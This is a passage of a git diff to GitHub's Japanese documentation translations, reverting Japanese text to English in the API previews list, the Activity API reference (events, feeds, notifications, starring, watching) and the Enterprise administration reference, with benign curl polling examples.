`Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide. {% ifversion ghes < 3.3 %} -## 強化されたデプロイメント +## Enhanced deployments -より多くの情報と細かい粒度で、[デプロイメント](/rest/reference/repos#deployments)をより詳細に制御します。 +Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity. -**カスタムメディアタイプ:** `ant-man-preview` **発表日:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/) +**Custom media type:** `ant-man-preview` +**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/) {% endif %} {% ifversion ghes < 3.3 %} -## リアクション +## Reactions -コミット、Issue、コメントに対する[リアクション](/rest/reference/reactions)を管理します。 +Manage [reactions](/rest/reference/reactions) for commits, issues, and comments. -**カスタムメディアタイプ:** `squirrel-girl-preview` **発表日:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **更新日:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/) +**Custom media type:** `squirrel-girl-preview` +**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) +**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/) {% endif %} {% ifversion ghes < 3.3 %} -## タイムライン +## Timeline -Issue またはプルリクエストの[イベントのリスト](/rest/reference/issues#timeline)を取得します。 +Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request. -**カスタムメディアタイプ:** `mockingbird-preview` **発表日:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/) +**Custom media type:** `mockingbird-preview` +**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/) {% endif %} {% ifversion ghes %} -## pre-receive 環境 +## Pre-receive environments -pre-receive フックの環境を作成、一覧表示、更新、削除します。 +Create, list, update, and delete environments for pre-receive hooks. -**カスタムメディアタイプ:** `eye-scream-preview` **発表日:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments) +**Custom media type:** `eye-scream-preview` +**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments) {% endif %} {% ifversion ghes < 3.3 %} -## プロジェクト +## Projects -[プロジェクト](/rest/reference/projects)を管理します。 +Manage [projects](/rest/reference/projects). -**カスタムメディアタイプ:** `inertia-preview` **発表日:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **更新日:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/) +**Custom media type:** `inertia-preview` +**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) +**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/) {% endif %} {% ifversion ghes < 3.3 %} -## コミット検索 +## Commit search -[コミットの検索](/rest/reference/search)をします。 +[Search commits](/rest/reference/search). -**カスタムメディアタイプ:** `cloak-preview` **発表日:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/) +**Custom media type:** `cloak-preview` +**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/) {% endif %} {% ifversion ghes < 3.3 %} -## リポジトリトピック +## Repository topics -リポジトリの結果を返す[呼び出し](/rest/reference/repos)で[リポジトリトピック](/articles/about-topics/)のリストを表示します。 +View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results. -**カスタムメディアタイプ:** `mercy-preview` **発表日:** [2017-01-31](https://github.com/blog/2309-introducing-topics) +**Custom media type:** `mercy-preview` +**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics) {% endif %} {% ifversion ghes < 3.3 %} -## 行動規範 +## Codes of conduct -すべての[行動規範](/rest/reference/codes-of-conduct)を表示するか、リポジトリに現在ある行動規範を取得します。 +View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently. -**カスタムメディアタイプ:** `scarlet-witch-preview` +**Custom media type:** `scarlet-witch-preview` {% endif %} {% ifversion ghae or ghes %} -## グローバル webhook +## Global webhooks -[Organization](/webhooks/event-payloads/#organization) および[ユーザ](/webhooks/event-payloads/#user)イベントタイプの[グローバル webhook](/rest/reference/enterprise-admin#global-webhooks/) を有効にします。 この API プレビューは {% data variables.product.prodname_ghe_server %} でのみ使用できます。 +Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}. -**カスタムメディアタイプ:** `superpro-preview` **発表日:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks) +**Custom media type:** `superpro-preview` +**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks) {% endif %} {% ifversion ghes < 3.3 %} -## 署名済みコミットの必須化 +## Require signed commits -これで、API を使用して、[保護されたブランチで署名済みコミットを必須にする](/rest/reference/repos#branches)ための設定を管理できます。 +You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches). -**カスタムメディアタイプ:** `zzzax-preview` **発表日:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures) +**Custom media type:** `zzzax-preview` +**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures) {% endif %} {% ifversion ghes < 3.3 %} -## 複数の承認レビューの必須化 +## Require multiple approving reviews -API を使用して、プルリクエストに対して[複数の承認レビューを必須にする](/rest/reference/repos#branches)ことができるようになりました。 +You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API. -**カスタムメディアタイプ:** `luke-cage-preview` **発表日:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews) +**Custom media type:** `luke-cage-preview` +**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews) {% endif %} {% ifversion ghes %} -## リポジトリへの匿名 Git アクセス +## Anonymous Git access to repositories -{% data variables.product.prodname_ghe_server %} インスタンスがプライベートモードの場合、サイトおよびリポジトリの管理者は、パブリックリポジトリに対して匿名の Git アクセスを有効にすることができます。 +When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository. -**カスタムメディアタイプ:** `x-ray-preview` **発表日:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/) +**Custom media type:** `x-ray-preview` +**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/) {% endif %} {% ifversion ghes < 3.3 %} -## プロジェクトカードの詳細 +## Project card details -[Issue イベント](/rest/reference/issues#events)および [Issue タイムラインイベント](/rest/reference/issues#timeline)の REST API 応答は、プロジェクト関連イベントの `project_card` フィールドを返すようになりました。 +The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events. -**カスタムメディアタイプ:** `starfox-preview` **発表日:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events) +**Custom media type:** `starfox-preview` +**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events) {% endif %} {% ifversion fpt or ghec %} -## GitHub App マニフェスト +## GitHub App Manifests -GitHub App マニフェストを使用すると、事前設された GitHub App を作成できます。 詳細については、「[GitHub App のマニフェスト](/apps/building-github-apps/creating-github-apps-from-a-manifest/)」を参照してください。 +GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details. -**カスタムメディアタイプ:** `fury-preview` +**Custom media type:** `fury-preview` {% endif %} {% ifversion ghes < 3.3 %} -## デプロイメントステータス +## Deployment statuses -[デプロイメントステータス](/rest/reference/repos#create-a-deployment-status)の`環境`を更新し、`in_progress` および `queued` ステータスを使用できるようになりました。 デプロイメントステータスを作成するときに、`auto_inactive` パラメータを使用して、古い`本番`デプロイメントを `inactive` としてマークできるようになりました。 +You can now update the `environment` of a [deployment status](/rest/reference/repos#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`. -**カスタムメディアタイプ:** `flash-preview` **発表日:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/) +**Custom media type:** `flash-preview` +**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/) {% endif %} {% ifversion ghes < 3.3 %} -## リポジトリの作成権限 +## Repository creation permissions -Organization メンバーによるリポジトリの作成可否、および作成可能なリポジトリのタイプを設定できるようになりました。 詳細については、「[Organization を更新する](/rest/reference/orgs#update-an-organization)」を参照してください。 +You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details. -**カスタムメディアタイプ:** `surtur-preview` **発表日:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) +**Custom media types:** `surtur-preview` +**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) {% endif %} -## コンテンツの添付 +## Content attachments -{% data variables.product.prodname_unfurls %} API を使用して、登録されたドメインにリンクする URL の詳細情報を GitHub で提供できるようになりました。 詳細については、「[添付コンテンツを使用する](/apps/using-content-attachments/)」を参照してください。 +You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details. -**カスタムメディアタイプ:** `corsair-preview` **発表日:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) +**Custom media types:** `corsair-preview` +**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) -{% ifversion ghes < 3.3 %} +{% ifversion ghae or ghes < 3.3 %} -## Pages の有効化と無効化 +## Enable and disable Pages -[Pages API](/rest/reference/repos#pages) の新しいエンドポイントを使用して、Pages を有効または無効にできます。 Pages の詳細については、「[GitHub Pages の基本](/categories/github-pages-basics) 」を参照してください。 +You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)". -**カスタムメディアタイプ:** `switcheroo-preview` **発表日:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/) +**Custom media types:** `switcheroo-preview` +**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/) {% endif %} {% ifversion ghes < 3.3 %} -## コミットのブランチまたはプルリクエストの一覧表示 +## List branches or pull requests for a commit -[Commits API](/rest/reference/repos#commits) で 2 つの新しいエンドポイントを使用して、コミットのブランチまたはプルリクエストを一覧表示できます。 +You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit. -**カスタムメディアタイプ:** `groot-preview` **発表日:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/) +**Custom media types:** `groot-preview` +**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/) {% endif %} {% ifversion ghes < 3.3 %} -## プルリクエストブランチの更新 +## Update a pull request branch -新しいエンドポイントを使用して、[プルリクエストブランチ](/rest/reference/pulls#update-a-pull-request-branch)を上流ブランチの HEAD からの変更で更新できます。 +You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch. -**カスタムメディアタイプ:** `lydian-preview` **発表日:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/) +**Custom media types:** `lydian-preview` +**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/) {% endif %} {% ifversion ghes < 3.3 %} -## リポジトリテンプレートの作成および使用 +## Create and use repository templates -新しいエンドポイントで、[テンプレートを使用してリポジトリを作成](/rest/reference/repos#create-a-repository-using-a-template)し、`is_template` パラメータを `true` に設定して、テンプレートリポジトリである[認証済みユーザのリポジトリを作成](/rest/reference/repos#create-a-repository-for-the-authenticated-user)できます。 `is_template` キーを使用して、[リポジトリを取得](/rest/reference/repos#get-a-repository)し、テンプレートリポジトリとして設定されているかどうかを確認します。 +You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key. -**カスタムメディアタイプ:** `baptiste-preview` **発表日:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/) +**Custom media types:** `baptiste-preview` +**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/) {% endif %} {% ifversion ghes < 3.3 %} -## Repositories API の新しい可視性パラメータ +## New visibility parameter for the Repositories API -[Repositories API](/rest/reference/repos) でリポジトリの可視性を設定および取得できます。 +You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos). -**カスタムメディアタイプ:** `nebula-preview` **発表日:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) +**Custom media types:** `nebula-preview` +**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) {% endif %} diff --git a/translations/ja-JP/content/rest/reference/activity.md b/translations/ja-JP/content/rest/reference/activity.md index 84a2cfd943..804b4094d2 100644 --- a/translations/ja-JP/content/rest/reference/activity.md +++ b/translations/ja-JP/content/rest/reference/activity.md @@ -1,5 +1,5 @@ --- -title: アクティビティ +title: Activity intro: 'The Activity API allows you to list events and feeds and manage notifications, starring, and watching for the authenticated user.' redirect_from: - /v3/activity @@ -17,13 +17,13 @@ miniTocMaxHeadingLevel: 3 {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## イベント +## Events -イベント API は、{% data variables.product.prodname_dotcom %} イベントへの読み取り専用 API です。 これらのイベントは、サイト上のさまざまなアクティビティストリームを強化します。 +The Events API is a read-only API to the {% data variables.product.prodname_dotcom %} events. These events power the various activity streams on the site. -イベント API は、{% data variables.product.product_name %} でのアクティビティによってトリガーされるさまざまなタイプのイベントを返すことができます。 The Events API can return different types of events triggered by activity on {% data variables.product.product_name %}. For more information about the specific events that you can receive from the Events API, see "[{{ site.data.variables.product.prodname_dotcom }} Event types](/developers/webhooks-and-events/github-event-types)." 詳しい情報については、「[Issue イベント API](/rest/reference/issues#events)」を参照してください。 +The Events API can return different types of events triggered by activity on {% data variables.product.product_name %}. For more information about the specific events that you can receive from the Events API, see "[{% data variables.product.prodname_dotcom %} Event types](/developers/webhooks-and-events/github-event-types)." An events API for repository issues is also available. For more information, see the "[Issue Events API](/rest/reference/issues#events)." -イベントは「ETag」ヘッダでポーリングするために最適化されています。 新しいイベントがトリガーされていない場合は、「304 Not Modified」というレスポンスが表示され、現在のレート制限は変更されません。 また、ポーリングを許可する頻度（秒単位）を指定する「X-Poll-Interval」ヘッダもあります。 サーバー負荷が高い場合、長時間かかることがあります。 ヘッダに従ってください。 +Events are optimized for polling with the "ETag" header. If no new events have been triggered, you will see a "304 Not Modified" response, and your current rate limit will be untouched. There is also an "X-Poll-Interval" header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. ``` shell $ curl -I {% data variables.product.api_url_pre %}/users/tater/events @@ -38,25 +38,25 @@ $ -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"' > X-Poll-Interval: 60 ``` -過去 90 日以内に作成されたイベントのみがタイムラインに含まれます。 90 日以上経過しているイベントは含まれません（タイムラインのイベントの総数が300 未満の場合でも）。 +Only events created within the past 90 days will be included in timelines. Events older than 90 days will not be included (even if the total number of events in the timeline is less than 300). {% for operation in currentRestOperations %} {% if operation.subcategory == 'events' %}{% include rest_operation %}{% endif %} {% endfor %} -## フィード +## Feeds {% for operation in currentRestOperations %} {% if operation.subcategory == 'feeds' %}{% include rest_operation %}{% endif %} {% endfor %} -### Atom フィードの取得例 +### Example of getting an Atom feed -Atom 形式のフィードを取得するには、`Accept` ヘッダで `application/atom+xml` タイプを指定する必要があります。 たとえば、GitHub のセキュリティアドバイザリの Atom フィードを取得するには、次のように記述します。 +To get a feed in Atom format, you must specify the `application/atom+xml` type in the `Accept` header. For example, to get the Atom feed for GitHub security advisories: curl -H "Accept: application/atom+xml" https://github.com/security-advisories -#### レスポンス +#### Response ```shell HTTP/2 200 @@ -101,93 +101,97 @@ HTTP/2 200 ``` -## 通知 +## Notifications -ユーザは、Watch しているリポジトリでの会話の通知を受け取ります。 +Users receive notifications for conversations in repositories they watch including: -* Issue とそのコメント -* プルリクエストとそのコメント -* コミットに関するコメント +* Issues and their comments +* Pull Requests and their comments +* Comments on any commits -ユーザが関わっている場合、Watch 解除したリポジトリでの会話の通知も送信されます。 +Notifications are also sent for conversations in unwatched repositories when the user is involved including: -* **@メンション** -* Issue の割り当て -* ユーザの作者のコミット、またはコミット -* ユーザが参加しているディスカッション +* **@mentions** +* Issue assignments +* Commits the user authors or commits +* Any discussion in which the user actively participates -すべての通知 API 呼び出しには、`notifications` または `repo` API スコープが必要です。 これを行うと、一部の Issue およびコミットコンテンツへの読み取り専用アクセス権が付与されます。 それぞれのエンドポイントから Issue とコミットにアクセスするには、`repo` スコープが必要です。 +All Notification API calls require the `notifications` or `repo` API scopes. Doing this will give read-only access to some issue and commit content. You will still need the `repo` scope to access issues and commits from their respective endpoints. -通知は「スレッド」として返されます。 スレッドには、Issue、プルリクエスト、またはコミットの現在のディスカッションに関する情報が含まれています。 +Notifications come back as "threads". A thread contains information about the current discussion of an issue, pull request, or commit. -通知は、`Last-Modified` ヘッダでポーリングするために最適化されています。 新しい通知がない場合は、`304 Not Modified` レスポンスが表示され、現在のレート制限は変更されません。 `X-Poll-Interval` ヘッダで、ポーリングを許可する頻度（秒単位）を指定します。 サーバー負荷が高い場合、長時間かかることがあります。 ヘッダに従ってください。 +Notifications are optimized for polling with the `Last-Modified` header. If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched. There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. ``` shell -# リクエストに認証を追加 +# Add authentication to your requests $ curl -I {% data variables.product.api_url_pre %}/notifications HTTP/2 200 Last-Modified: Thu, 25 Oct 2012 15:16:27 GMT X-Poll-Interval: 60 -# Last-Modifiedヘッダを正確に渡す +# Pass the Last-Modified header exactly $ curl -I {% data variables.product.api_url_pre %}/notifications $ -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT" > HTTP/2 304 > X-Poll-Interval: 60 ``` -### 通知理由 +### Notification reasons -通知 API からレスポンスを取得するとき、各ペイロードには `reason` というタイトルのキーがあります。 これらは、通知をトリガーするイベントに対応しています。 +When retrieving responses from the Notifications API, each payload has a key titled `reason`. These correspond to events that trigger a notification. -通知を受け取る `reason`（理由）には、次のようなものがあります。 +Here's a list of potential `reason`s for receiving a notification: -| 理由名 | 説明 | -| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `assign` | Issue に割り当てられた。 | -| `作者` | スレッドを作成した。 | -| `コメント` | スレッドにコメントした。 | -| `ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. | -| `招待` | リポジトリへのコントリビューションへの招待を承諾した。 | -| `manual` | スレッドをサブスクライブした（Issue またはプルリクエストを介して）。 | -| `メンション` | コンテンツで具体的に**@メンション**された。 | -| `review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} -| `security_alert` | {% data variables.product.prodname_dotcom %} が、リポジトリに[セキュリティの脆弱性](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)を発見した。{% endif %} -| `state_change` | スレッドの状態を変更した（たとえば、Issue をクローズしたり、プルリクエストをマージしたりした）。 | -| `subscribed` | リポジトリを Watch している。 | -| `team_mention` | メンションされた Team に所属していた。 | +Reason Name | Description +------------|------------ +`assign` | You were assigned to the issue. +`author` | You created the thread. +`comment` | You commented on the thread. +`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. +`invitation` | You accepted an invitation to contribute to the repository. +`manual` | You subscribed to the thread (via an issue or pull request). +`mention` | You were specifically **@mentioned** in the content. +`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} +`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) in your repository.{% endif %} +`state_change` | You changed the thread state (for example, closing an issue or merging a pull request). +`subscribed` | You're watching the repository. +`team_mention` | You were on a team that was mentioned. -`reason` はスレッドごとに変更され、後の通知の `reason` が異なる場合は変更される可能性があることに注意してください。 +Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different. -たとえば、Issue の作者である場合は、その Issue に関するその後の通知には、`author`（作者）の `reason`（理由）が含まれます。 その後、同じ Issue について**@メンション**されている場合、その後に取得する通知に `mention`（メンション）する `reason`（理由）が含まれます。 その `reason` は、再度メンションされたかどうかにかかわらず、`mention` として残ります。 +For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again. {% for operation in currentRestOperations %} {% if operation.subcategory == 'notifications' %}{% include rest_operation %}{% endif %} {% endfor %} -## Star +## Starring -リポジトリに Star を付けると、ユーザがリポジトリをブックマークできます。 おおよその関心レベルを示すために、リポジトリの横に Star が表示されます。 Star は通知やアクティビティフィードには影響しません。 +Repository starring is a feature that lets users bookmark repositories. Stars are shown next to repositories to show an approximate level of interest. Stars have no effect on notifications or the activity feed. -### Star と Watch +### Starring vs. Watching -2012年8月に、{% data variables.product.prodname_dotcom %} での [Watch 方法を変更](https://github.com/blog/1204-notifications-stars)しました。 多くの API クライアントアプリケーションは、このデータへのアクセスに元の「Watchしているユーザ」のエンドポイントを使用しています。 現在、その代わりに「Star」エンドポイントを使用できます（以下で説明）。 詳しい情報については、[Watchしているユーザ API の変更に関する投稿](https://developer.github.com/changes/2012-09-05-watcher-api/)と「[リポジトリを Watch している API](/rest/reference/activity#watching)」を参照してください。 +In August 2012, we [changed the way watching +works](https://github.com/blog/1204-notifications-stars) on {% data variables.product.prodname_dotcom %}. Many API +client applications may be using the original "watcher" endpoints for accessing +this data. You can now start using the "star" endpoints instead (described +below). For more information, see the [Watcher API Change post](https://developer.github.com/changes/2012-09-05-watcher-api/) and the "[Repository Watching API](/rest/reference/activity#watching)." -### Star 付きのカスタムメディアタイプ +### Custom media types for starring -Star 付きの REST APIでサポートされているカスタムメディアタイプが 1 つあります。 このカスタムメディアタイプを使用すると、Star が作成された時刻を示す `starred_at` タイムスタンププロパティを含むレスポンスを受け取ります。 レスポンスには、カスタムメディアタイプが含まれていない場合に返されるリソースを含む 2 番目のプロパティもあります。 リソースを含むプロパティは、`user` または `repo` のいずれかになります。 +There is one supported custom media type for the Starring REST API. When you use this custom media type, you will receive a response with the `starred_at` timestamp property that indicates the time the star was created. The response also has a second property that includes the resource that is returned when the custom media type is not included. The property that contains the resource will be either `user` or `repo`. application/vnd.github.v3.star+json -メディアタイプの詳しい情報については、「[カスタムメディアタイプ](/rest/overview/media-types)」を参照してください。 +For more information about media types, see "[Custom media types](/rest/overview/media-types)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'starring' %}{% include rest_operation %}{% endif %} {% endfor %} -## Watch +## Watching -リポジトリを Watch すると、ユーザは登録され、新しいディスカッションやユーザのアクティビティフィードのイベントに関する通知を受け取ります。 基本的なリポジトリブックマークについては、「[リポジトリの Star 付け](/rest/reference/activity#starring)」を参照してください。 +Watching a repository registers the user to receive notifications on new discussions, as well as events in the user's activity feed. For simple repository bookmarks, see "[Repository starring](/rest/reference/activity#starring)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'watching' %}{% include rest_operation %}{% endif %} diff --git a/translations/ja-JP/content/rest/reference/enterprise-admin.md b/translations/ja-JP/content/rest/reference/enterprise-admin.md index 2f43092211..d8512c1e8d 100644 --- a/translations/ja-JP/content/rest/reference/enterprise-admin.md +++ b/translations/ja-JP/content/rest/reference/enterprise-admin.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise の管理 -intro: 'You can use these {% data variables.product.prodname_ghe_cloud %} endpoints to administer your enterprise account. Among the tasks you can perform with this API are many relating to GitHub Actions.' +title: GitHub Enterprise administration +intro: You can use these endpoints to administer your enterprise. Among the tasks you can perform with this API are many relating to GitHub Actions. allowTitleToDifferFromFilename: true redirect_from: - /v3/enterprise-admin @@ -13,47 +13,50 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -shortTitle: Enterprise管理 +shortTitle: Enterprise administration --- {% ifversion fpt or ghec %} {% note %} -**注釈:** この記事は {% data variables.product.prodname_ghe_cloud %} に適用されます。 {% data variables.product.prodname_ghe_managed %}あるいは{% data variables.product.prodname_ghe_server %}のバージョンを見るには、**{% data ui.pages.article_version %}**ドロップダウンメニューを使ってください。 +**Note:** This article applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu. {% endnote %} {% endif %} -### エンドポイント URL +### Endpoint URLs -REST API エンドポイント{% ifversion ghes %}（[管理コンソール](#management-console) API エンドポイントを除く）{% endif %}の前には、次の URL が付けられます。 +REST API endpoints{% ifversion ghes %}—except [Management Console](#management-console) API endpoints—{% endif %} are prefixed with the following URL: ```shell {% data variables.product.api_url_pre %} ``` {% ifversion ghes %} -[管理コンソール](#management-console) API エンドポイントには、ホスト名のみがプレフィックスとして付加されます。 +[Management Console](#management-console) API endpoints are only prefixed with a hostname: ```shell http(s)://hostname/ ``` {% endif %} {% ifversion ghae or ghes %} -### 認証 +### Authentication -{% data variables.product.product_name %} のインストールの API エンドポイントは、GitHub.com APIと[同じ認証方法](/rest/overview/resources-in-the-rest-api#authentication)を受け入れます。 **[OAuth トークン](/apps/building-integrations/setting-up-and-registering-oauth-apps/)**{% ifversion ghes %}（[認証 API](/rest/reference/oauth-authorizations#create-a-new-authorization) を使用して作成可能）{% endif %}または **[Basic 認証](/rest/overview/resources-in-the-rest-api#basic-authentication)**で自分自身を認証できます。 {% ifversion ghes %} Enterprise 固有のエンドポイントで使用する場合、OAuthトークンには `site_admin` [OAuth スコープ](/developers/apps/scopes-for-oauth-apps#available-scopes)が必要です。{% endif %} +Your {% data variables.product.product_name %} installation's API endpoints accept [the same authentication methods](/rest/overview/resources-in-the-rest-api#authentication) as the GitHub.com API. You can authenticate yourself with **[OAuth tokens](/apps/building-integrations/setting-up-and-registering-oauth-apps/)** {% ifversion ghes %}(which can be created using the [Authorizations API](/rest/reference/oauth-authorizations#create-a-new-authorization)) {% endif %}or **[basic authentication](/rest/overview/resources-in-the-rest-api#basic-authentication)**. {% ifversion ghes %} +OAuth tokens must have the `site_admin` [OAuth scope](/developers/apps/scopes-for-oauth-apps#available-scopes) when used with Enterprise-specific endpoints.{% endif %} -Enterprise 管理 API エンドポイントには、認証された {% data variables.product.product_name %} サイト管理者のみがアクセスできます。{% ifversion ghes %}ただし、[Management Console のパスワード](/enterprise/admin/articles/accessing-the-management-console/)が必要な [Management Console](#management-console) API は除きます。{% endif %} +Enterprise administration API endpoints are only accessible to authenticated {% data variables.product.product_name %} site administrators{% ifversion ghes %}, except for the [Management Console](#management-console) API, which requires the [Management Console password](/enterprise/admin/articles/accessing-the-management-console/){% endif %}. {% endif %} {% ifversion ghae or ghes %} -### バージョン情報 +### Version information -Enterprise の現在のバージョンは、すべての API のレスポンスヘッダで返されます: `X-GitHub-Enterprise-Version: {{currentVersion}}.0` [メタエンドポイント](/rest/reference/meta/)を呼び出して、現在のバージョンを読み取ることもできます。 +The current version of your enterprise is returned in the response header of every API: +`X-GitHub-Enterprise-Version: {{currentVersion}}.0` +You can also read the current version by calling the [meta endpoint](/rest/reference/meta/). {% for operation in currentRestOperations %} {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} @@ -72,7 +75,7 @@ Enterprise の現在のバージョンは、すべての API のレスポンス {% endif %} {% ifversion fpt or ghec %} -## 支払い +## Billing {% for operation in currentRestOperations %} {% if operation.subcategory == 'billing' %}{% include rest_operation %}{% endif %} @@ -90,9 +93,9 @@ Enterprise の現在のバージョンは、すべての API のレスポンス {% ifversion ghae or ghes %} -## 管理統計 +## Admin stats -管理統計 API は、インストールに関するさまざまなメトリクスを提供します。 *[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`404` レスポンスを受け取ります。 +The Admin Stats API provides a variety of metrics about your installation. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'admin-stats' %}{% include rest_operation %}{% endif %} @@ -102,9 +105,9 @@ Enterprise の現在のバージョンは、すべての API のレスポンス {% ifversion ghae or ghes > 2.22 %} -## アナウンス +## Announcements -アナウンス API を使用すると、Enterprise でグローバルなアナウンスバナーを管理できます。 詳しい情報については「[Enterprise のユーザメッセージをカスタマイズする](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)」を参照してください。 +The Announcements API allows you to manage the global announcement banner in your enterprise. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'announcement' %}{% include rest_operation %}{% endif %} @@ -114,11 +117,11 @@ Enterprise の現在のバージョンは、すべての API のレスポンス {% ifversion ghae or 